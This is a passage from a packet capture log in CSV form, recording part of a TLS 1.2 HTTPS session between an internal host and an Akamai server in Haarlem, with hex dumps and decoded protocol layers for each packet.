\"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63940, \"\"dport\"\": 443, \"\"seq\"\": 2818113368, \"\"ack\"\": 3507102954, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 65266, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-05-25 06:02:46.381723,8,TCP 184.30.157.69:443 -> 10.152.152.11:63940,184.30.157.69,10.152.152.11,443,63940,TCP,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > _TLSEncryptedContent,4,TCP PA Seq=3507102954 Ack=2818113368,bc2411360d0cbc24112907bb080045000146ad6b40004006943fb81e9d450a98980b01bbf9c4d10a24eaa7f8ff585018003ff93f00006e8ad0b1818c08ee09dba6ca720c8911566520b1ca43589914dcb2bf15e179e6579ca8dd584ca4cea2fa5e6f8a763ae6521d8396cfcd7cc29d9c999e7d40d52dc3f2aab2546c636ddeb81e73d24f90b33bc17924bb9a7c4b267e81e82d79e951384dc01962b26604a44093de8798212f9be9f2e0aebd2dbd22179a16030300950c0000910300174104a8de8c095660ad99470299902c2beb44b476f3866936c7043bed2aa2e39b4bae1d813b2213a4dfd8f4670084822aea6546d57f178dffb27179c52ba52e42e757040300483046022100a49a12bcd0031881c1976500255f4e1e24c1fdd4c1d2257c802415a5f440e670022100f4d9d2ec16cdc7a7ea11616cf38bea0bd3e83ad8d3c42c87830e737d45e9ed5b16030300040e000000,\"n.......\t...r...Ve ..CX.......y.W...XL....^o.v:.R.....|.....}@.-....Tlcm...s.O..;.y$..|K&~..-y.Q8M..b.f..@....!/......-.\"\"..............A....\tV`..G...,+.D.v..i6..;.*...K...;\"\".....g...*.eF......qy.+..B.W...H0F.!...........e.%_N.$.....%|.$...@.p.!...........al......:...,...s}E..[.........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 326, \"\"id\"\": 44395, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 37951, \"\"src\"\": \"\"184.30.157.69\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63940, \"\"seq\"\": 3507102954, \"\"ack\"\": 2818113368, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 63807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"_TLSEncryptedContent\"\", \"\"fields\"\": {\"\"load\"\": \"\"6e8ad0b1818c08ee09dba6ca720c8911566520b1ca43589914dcb2bf15e179e6579ca8dd584ca4cea2fa5e6f8a763ae6521d8396cfcd7cc29d9c999e7d40d52dc3f2aab2546c636ddeb81e73d24f90b33bc17924bb9a7c4b267e81e82d79e951384dc01962b26604a44093de8798212f9be9f2e0aebd2dbd22179a16030300950c0000910300174104a8de8c095660ad99470299902c2beb44b476f3866936c7043bed2aa2e39b4bae1d813b2213a4dfd8f4670084822aea6546d57f178dffb27179c52ba52e42e757040300483046022100a49a12bcd0031881c1976500255f4e1e24c1fdd4c1d2257c802415a5f440e670022100f4d9d2ec16cdc7a7ea11616cf38bea0bd3e83ad8d3c42c87830e737d45e9ed5b16030300040e000000\"\"}}]\"\n2026-05-25 06:02:46.381995,9,TCP 10.152.152.11:63940 -> 184.30.157.69:443,10.152.152.11,184.30.157.69,63940,443,TCP,Internal,Private Network,,,,,,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=2818113368 Ack=3507103240,bc24112907bbbc2411360d0c0800450000288a144000800678b40a98980bb81e9d45f9c401bba7f8ff58d10a260850102013fdd50000,\".$.)...$.6\n...E..(..@...x.\n......E.......X.\n&.P. .....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 35348, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 30900, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"184.30.157.69\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63940, \"\"dport\"\": 443, \"\"seq\"\": 2818113368, \"\"ack\"\": 3507103240, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8211, \"\"chksum\"\": 64981, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-05-25 06:02:46.392725,10,TCP 10.152.152.11:63940 -> 184.30.157.69:443,10.152.152.11,184.30.157.69,63940,443,TCP,Internal,Private Network,,,,,,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,PA,,,Ether > IP > TCP > TLS > TLS > TLS,6,TCP PA Seq=2818113368 Ack=3507103240,bc24112907bbbc2411360d0c0800450000a68a154000800678350a98980bb81e9d45f9c401bba7f8ff58d10a260850182013566800001603030046100000424104a815176cafc80f90c522cbfb2b7ff5d6e5c3a56acda517f99da385bfd06d11ccf119531d5920d72e393b5b94c46acd452bbbc7dd043b9d130e2015af76046597140303000101160303002800000000000000004471b525b2a31ad1a01b60ea5801b971b5b016a7583fd4194b7cc61ac6253d70,\"A....l.....\"\"..+......j.........m....S.Y ..9;[..j.E+....;... ..v.e.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 166, \"\"id\"\": 35349, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 30773, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"184.30.157.69\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63940, \"\"dport\"\": 443, \"\"seq\"\": 2818113368, \"\"ack\"\": 3507103240, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8211, \"\"chksum\"\": 22120, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 70, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSClientKeyExchange  msgtype=client_key_exchange msglen=66 exchkeys=<Raw  load=b'A\\\\x04\\\\xa8\\\\x15\\\\x17l\\\\xaf\\\\xc8\\\\x0f\\\\x90\\\\xc5\\\"\"\\\\xcb\\\\xfb+\\\\x7f\\\\xf5\\\\xd6\\\\xe5\\\\xc3\\\\xa5j\\\\xcd\\\\xa5\\\\x17\\\\xf9\\\\x9d\\\\xa3\\\\x85\\\\xbf\\\\xd0m\\\\x11\\\\xcc\\\\xf1\\\\x19S\\\\x1dY \\\\xd7.9;[\\\\x94\\\\xc4j\\\\xcdE+\\\\xbb\\\\xc7\\\\xdd\\\\x04;\\\\x9d\\\\x13\\\\x0e \\\\x15\\\\xafv\\\\x04e\\\\x97' |> |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 20, \"\"version\"\": 771, \"\"len\"\": 1, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSChangeCipherSpec  msgtype=change_cipher_spec |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 40, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSHelloRequest  msgtype=hello_request msglen=0 |>, <TLSHelloRequest  msgtype=hello_request msglen=0 |>, <Raw  load=b'Dq\\\\xb5%\\\\xb2\\\\xa3\\\\x1a\\\\xd1\\\\xa0\\\\x1b`\\\\xeaX\\\\x01\\\\xb9q\\\\xb5\\\\xb0\\\\x16\\\\xa7X?\\\\xd4\\\\x19K|\\\\xc6\\\\x1a\\\\xc6%=p' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-05-25 06:02:46.392743,11,TCP 184.30.157.69:443 -> 10.152.152.11:63940,184.30.157.69,10.152.152.11,443,63940,TCP,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3507103240 Ack=2818113494,bc2411360d0cbc24112907bb080045000028ad6c40004006955cb81e9d450a98980b01bbf9c4d10a2608a7f8ffd65010003ff8210000,\".$.6\n..$.)....E..(.l@.@..\\...E\n........\n&.....P..?.!..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 44396, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 38236, \"\"src\"\": \"\"184.30.157.69\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63940, \"\"seq\"\": 3507103240, \"\"ack\"\": 2818113494, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 63521, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-05-25 06:02:46.761586,12,TCP 184.30.157.69:443 -> 10.152.152.11:63940,184.30.157.69,10.152.152.11,443,63940,TCP,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS > TLS > TLS,6,TCP PA Seq=3507103240 Ack=2818113494,bc2411360d0cbc24112907bb08004500013aad6d400040069449b81e9d450a98980b01bbf9c4d10a2608a7f8ffd65018003ff933000016030300da040000d60001449c00d000001e809c874193fdd58dc2ef1a521a4da3b6955de37fd8bb43053e53134f9e22d037340bd0237a6c394f86d516999574ac9a5e06fcc3614beb43909fbcc2d12d7c0ab1023001269fb5daa1754bb2a5c3169836256bef2c72b35bbad6c3c33072f2ba558eba106ab35d61ba49a7ef3469d4d70e9be062892b6a92919ac2eece4d2973c6f7b95203fa8f91ecdcf40175c09fb4452f78cdb215bb955a19c429770a55b610da18110f09c3862b24296630bbda19875be4c97aafd748823e81f3f1beb48b568baba8af64216ef1d55858f714030300010116030300280d71fc40096502951755b15ef117b3d466cec143e922a3a82db0f9484129e99069b033550d31d9da,\"\nq.@\te...U.^....f..C.\"\"..-..HA)..i.3U\n1..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 314, \"\"id\"\": 44397, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 37961, \"\"src\"\": \"\"184.30.157.69\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63940, \"\"seq\"\": 3507103240, \"\"ack\"\": 2818113494, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 63795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 218, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSNewSessionTicket  msgtype=session_ticket msglen=214 lifetime=83100 ticketlen=208 ticket=b'\\\\x00\\\\x00\\\\x1e\\\\x80\\\\x9c\\\\x87A\\\\x93\\\\xfd\\\\xd5\\\\x8d\\\\xc2\\\\xef\\\\x1aR\\\\x1aM\\\\xa3\\\\xb6\\\\x95]\\\\xe3\\\\x7f\\\\xd8\\\\xbbC\\\\x05>S\\\\x13O\\\\x9e\\\"\"\\\\xd074\\\\x0b\\\\xd0#zl9O\\\\x86\\\\xd5\\\\x16\\\\x99\\\\x95t\\\\xac\\\\x9a^\\\\x06\\\\xfc\\\\xc3aK\\\\xebC\\\\x90\\\\x9f\\\\xbc\\\\xc2\\\\xd1-|\\\\n\\\\xb1\\\\x020\\\\x01&\\\\x9f\\\\xb5\\\\xda\\\\xa1uK\\\\xb2\\\\xa5\\\\xc3\\\\x16\\\\x986%k\\\\xef,r\\\\xb3[\\\\xba\\\\xd6\\\\xc3\\\\xc30r\\\\xf2\\\\xbaU\\\\x8e\\\\xba\\\\x10j\\\\xb3]a\\\\xbaI\\\\xa7\\\\xef4i\\\\xd4\\\\xd7\\\\x0e\\\\x9b\\\\xe0b\\\\x89+j\\\\x92\\\\x91\\\\x9a\\\\xc2\\\\xee\\\\xceM)s\\\\xc6\\\\xf7\\\\xb9R\\\\x03\\\\xfa\\\\x8f\\\\x91\\\\xec\\\\xdc\\\\xf4\\\\x01u\\\\xc0\\\\x9f\\\\xb4E/x\\\\xcd\\\\xb2\\\\x15\\\\xbb\\\\x95Z\\\\x19\\\\xc4)w\\\\nU\\\\xb6\\\\x10\\\\xda\\\\x18\\\\x11\\\\x0f\\\\t\\\\xc3\\\\x86+$)f0\\\\xbb\\\\xda\\\\x19\\\\x87[\\\\xe4\\\\xc9z\\\\xaf\\\\xd7H\\\\x82>\\\\x81\\\\xf3\\\\xf1\\\\xbe\\\\xb4\\\\x8bV\\\\x8b\\\\xab\\\\xa8\\\\xafd!n\\\\xf1\\\\xd5XX\\\\xf7' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 20, \"\"version\"\": 771, \"\"len\"\": 1, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSChangeCipherSpec  msgtype=change_cipher_spec |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 40, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<Raw  load=b'\\\\rq\\\\xfc@\\\\te\\\\x02\\\\x95\\\\x17U\\\\xb1^\\\\xf1\\\\x17\\\\xb3\\\\xd4f\\\\xce\\\\xc1C\\\\xe9\\\"\"\\\\xa3\\\\xa8-\\\\xb0\\\\xf9HA)\\\\xe9\\\\x90i\\\\xb03U\\\\r1\\\\xd9\\\\xda' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-05-25 06:02:46.767384,13,TCP 10.152.152.11:63940 -> 184.30.157.69:443,10.152.152.11,184.30.157.69,63940,443,TCP,Internal,Private Network,,,,,,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=2818113494 Ack=3507103514,bc24112907bbbc2411360d0c0800450002178a164000800676c30a98980bb81e9d45f9c401bba7f8ffd6d10a271a501820125e88000017030301ea00000000000000017c4b363fcf50512490df2a214d4ab2482dd64a05fe6ed47103d793824abf557c080fa9c3aeb48f139c48689439b1c8176ad6347aeb27a98cb35f5deed65134168d4c8381ab9e9812c3e2a79267d712574c5ea78296ab8eae486a569f4f704d36c151d44beae30bbdf5a80abe0a515435c20ee5a7459a6b11160b8aff8b67d59b805ca04baae1d9936d3cacfaf3f40952ce1bb5fe254402490fd7c6c6c565ffe4d7b371a244322d91b3c0f996d2ab21a4e6be03f1752cad22791e3cdb58964812f25e2a440bcd86ac447ffa3cf294e4a1bcaaf041cb7b93e49cbbc674f72cd9398713cbfc8c414e2d3d7293aa2ed3b49e205e594386746ea8b7a210e34b337831a674e63472a35c68419a5c36e025e521c96628dbe114642ae9548823863fe9aabf8da2644523c1e61d473d0b75707f2df4402a6261bf1302e3eaae1e67614389482ff205c7afff49bd4464e5e1df50d617c4e8a8b6314a9667a7071e3ef021cd7386fc92285686f70c30990743a40465a1a1effa1c286d98cd8e2612bf313725bcf7f450591718dd5791db30021f60a4cea8b8213c4a3e7473e5c75649e105441119facef74168babec556070d30421cac34c83fae8f9c0027e6829b6e188e1b0a72196e4c9749c64d8c7a9ebb5d95a73df1629bfd1e71ec23d54054ff6b59153eff,\".$.)...$.6\n...E.....@...v.\n......E.........\n'.P. .^................|K6?.PQ$..*!MJ.H-.J..n.q....J.U|.........Hh.9...j.4z.'..._]..Q4..L..........g..WL^......HjV.OpM6.Q.K......\n.\nQT5....E.k......g...\\.K....m<....\tR....%D.I.....e....q.D2-.......!.....u,.\"\"y.<.X.H..^*D....D..<.......A.{.....t.,.9.....AN-=r...... ^YC.tn.....K3x1.t.4r.\\hA.\\6.%.!.f(...d*.T.#.?.....dE#...G=.up.-.@*ba.......gaC.H/.....I.Dd...P......1J.g...>.!.s...(V...0..C..e.....(m...&..17%...PY...W..0..`....!<J>ts..VI..D.....Ah...V.\n0B..4.?....'...n...\nr.nL.I.M.z..]..=.b...q.#.@T.kY.>.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 535, \"\"id\"\": 35350, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 30403, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"184.30.157.69\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63940, \"\"dport\"\": 443, \"\"seq\"\": 2818113494, \"\"ack\"\": 3507103514, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8210, \"\"chksum\"\": 24200, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 490, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01|K6?\\\\xcfPQ$\\\\x90\\\\xdf*!MJ\\\\xb2H-\\\\xd6J\\\\x05\\\\xfen\\\\xd4q\\\\x03\\\\xd7\\\\x93\\\\x82J\\\\xbfU|\\\\x08\\\\x0f\\\\xa9\\\\xc3\\\\xae\\\\xb4\\\\x8f\\\\x13\\\\x9cHh\\\\x949\\\\xb1\\\\xc8\\\\x17j\\\\xd64z\\\\xeb\\\\'\\\\xa9\\\\x8c\\\\xb3_]\\\\xee\\\\xd6Q4\\\\x16\\\\x8dL\\\\x83\\\\x81\\\\xab\\\\x9e\\\\x98\\\\x12\\\\xc3\\\\xe2\\\\xa7\\\\x92g\\\\xd7\\\\x12WL^\\\\xa7\\\\x82\\\\x96\\\\xab\\\\x8e\\\\xaeHjV\\\\x9fOpM6\\\\xc1Q\\\\xd4K\\\\xea\\\\xe3\\\\x0b\\\\xbd\\\\xf5\\\\xa8\\\\n\\\\xbe\\\\nQT5\\\\xc2\\\\x0e\\\\xe5\\\\xa7E\\\\x9ak\\\\x11\\\\x16\\\\x0b\\\\x8a\\\\xff\\\\x8bg\\\\xd5\\\\x9b\\\\x80\\\\\\\\\\\\xa0K\\\\xaa\\\\xe1\\\\xd9\\\\x93m<\\\\xac\\\\xfa\\\\xf3\\\\xf4\\\\tR\\\\xce\\\\x1b\\\\xb5\\\\xfe%D\\\\x02I\\\\x0f\\\\xd7\\\\xc6\\\\xc6\\\\xc5e\\\\xff\\\\xe4\\\\xd7\\\\xb3q\\\\xa2D2-\\\\x91\\\\xb3\\\\xc0\\\\xf9\\\\x96\\\\xd2\\\\xab!\\\\xa4\\\\xe6\\\\xbe\\\\x03\\\\xf1u,\\\\xad\\\"\"y\\\\x1e<\\\\xdbX\\\\x96H\\\\x12\\\\xf2^*D\\\\x0b\\\\xcd\\\\x86\\\\xacD\\\\x7f\\\\xfa<\\\\xf2\\\\x94\\\\xe4\\\\xa1\\\\xbc\\\\xaa\\\\xf0A\\\\xcb{\\\\x93\\\\xe4\\\\x9c\\\\xbb\\\\xc6t\\\\xf7,\\\\xd99\\\\x87\\\\x13\\\\xcb\\\\xfc\\\\x8cAN-=r\\\\x93\\\\xaa.\\\\xd3\\\\xb4\\\\x9e ^YC\\\\x86tn\\\\xa8\\\\xb7\\\\xa2\\\\x10\\\\xe3K3x1\\\\xa6t\\\\xe64r\\\\xa3\\\\\\\\hA\\\\x9a\\\\\\\\6\\\\xe0%\\\\xe5!\\\\xc9f(\\\\xdb\\\\xe1\\\\x14d*\\\\xe9T\\\\x88#\\\\x86?\\\\xe9\\\\xaa\\\\xbf\\\\x8d\\\\xa2dE#\\\\xc1\\\\xe6\\\\x1dG=\\\\x0bup\\\\x7f-\\\\xf4@*ba\\\\xbf\\\\x13\\\\x02\\\\xe3\\\\xea\\\\xae\\\\x1egaC\\\\x89H/\\\\xf2\\\\x05\\\\xc7\\\\xaf\\\\xffI\\\\xbdDd\\\\xe5\\\\xe1\\\\xdfP\\\\xd6\\\\x17\\\\xc4\\\\xe8\\\\xa8\\\\xb61J\\\\x96g\\\\xa7\\\\x07\\\\x1e>\\\\xf0!\\\\xcds\\\\x86\\\\xfc\\\\x92(V\\\\x86\\\\xf7\\\\x0c0\\\\x99\\\\x07C\\\\xa4\\\\x04e\\\\xa1\\\\xa1\\\\xef\\\\xfa\\\\x1c(m\\\\x98\\\\xcd\\\\x8e&\\\\x12\\\\xbf17%\\\\xbc\\\\xf7\\\\xf4PY\\\\x17\\\\x18\\\\xddW\\\\x91\\\\xdb0\\\\x02\\\\x1f`\\\\xa4\\\\xce\\\\xa8\\\\xb8!<J>ts\\\\xe5\\\\xc7VI\\\\xe1\\\\x05D\\\\x11\\\\x19\\\\xfa\\\\xce\\\\xf7Ah\\\\xba\\\\xbe\\\\xc5V\\\\x07\\\\r0B\\\\x1c\\\\xac4\\\\xc8?\\\\xae\\\\x8f\\\\x9c\\\\x00\\\\'\\\\xe6\\\\x82\\\\x9bn\\\\x18\\\\x8e\\\\x1b\\\\nr\\\\x19nL\\\\x97I\\\\xc6M\\\\x8cz\\\\x9e\\\\xbb]\\\\x95\\\\xa7=\\\\xf1b\\\\x9b\\\\xfd\\\\x1eq\\\\xec#\\\\xd5@T\\\\xffkY\\\\x15>\\\\xff' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-05-25 06:02:46.767411,14,TCP 184.30.157.69:443 -> 10.152.152.11:63940,184.30.157.69,10.152.152.11,443,63940,TCP,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3507103514 Ack=2818113989,bc2411360d0cbc24112907bb080045000028ad6e40004006955ab81e9d450a98980b01bbf9c4d10a271aa7f901c55010003ff8210000,\".$.6\n..$.)....E..(.n@.@..Z...E\n........\n'.....P..?.!..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 44398, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 38234, \"\"src\"\": \"\"184.30.157.69\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63940, \"\"seq\"\": 3507103514, \"\"ack\"\": 2818113989, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 63521, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-05-25 06:02:47.105333,15,TCP 184.30.157.69:443 -> 10.152.152.11:63940,184.30.157.69,10.152.152.11,443,63940,TCP,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3507103514 Ack=2818113989,bc2411360d0cbc24112907bb0800450001c6ad6f4000400693bbb81e9d450a98980b01bbf9c4d10a271aa7f901c55018003ff9bf000017030301990d71fc4009650296728f75a02034c8f8c7520ca40da0706d93b5eb08d692b62bee9cc405bd083d72037dec88c12bbc5793d63d88f4a2a3e6475240e533f825e4ba902383ec5dd06b296bc4ae5bc5631640bbccb2ff9422dc561f3444350bbcebb52dd5cd45a5fa4b224027dd5eca8124a6f7cbe44c5793bb7858441895d29644159b3706710663914bbc4d3da0e81eae4ab9e430c93a9006172200920896345d031771d81c5a520bb73b35c9420c6b70d1f20e86b6653d21824f90cbbcfda8136d908a31a216b957f9d62d943e70f67f3df4f537a697d382e4237c4640f8050b2fade7ec28e9589cc6bcfbd0f7cb0caa82a93b304a158cc51688319b18d1b59e240c1433a309b2f8a635313ba5f2a6e6f55561a9396034922a24800691869851de957ed48228e59d3eef733de779b6cb9ba86d21c8d64b7c9ab62249888ca120f02d7adb01130d720aa144342914c990ccba890472cc17ccf7256a2c28fb80d38a34a012d68e49ce155d76861c7b2b360289bfb0583e5ddd5c8d950fda0bf15e460316243d74d6e586ce1538b8e233dd49ec76c241b9b7ec75,\".$.6\n..$.)....E....o@.@......E\n........\n'.....P..?.........\nq.@\te..r.u. 4...R..\n.pm.......+......=r.}...+.W..=.....GR@.3.%...#..].k)k..[.c.@.....\"\".V.4D5....-..E..K\"\"@'.^..$....LW..xXD....D..7.q.c.K.M=....J..0.:...\"\"....4]..q..ZR..;5.B.kp.....e=!.O......m..1...W..-.>p..=..7.....#|F@.../...(.X...........;0J.....1.....$..3.\t...51;.....Ua.9`4.*$.....Q..~..(..>.s=.y....m!..K|..\"\"I... .-z...\nr\n.D4).......r....%j,(....4....I..]v..{+6....X>].\\......^F..$=t.....8..3.I.v.A...u\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 454, \"\"id\"\": 44399, \"\"flags\"\": \"\"DF\"\", 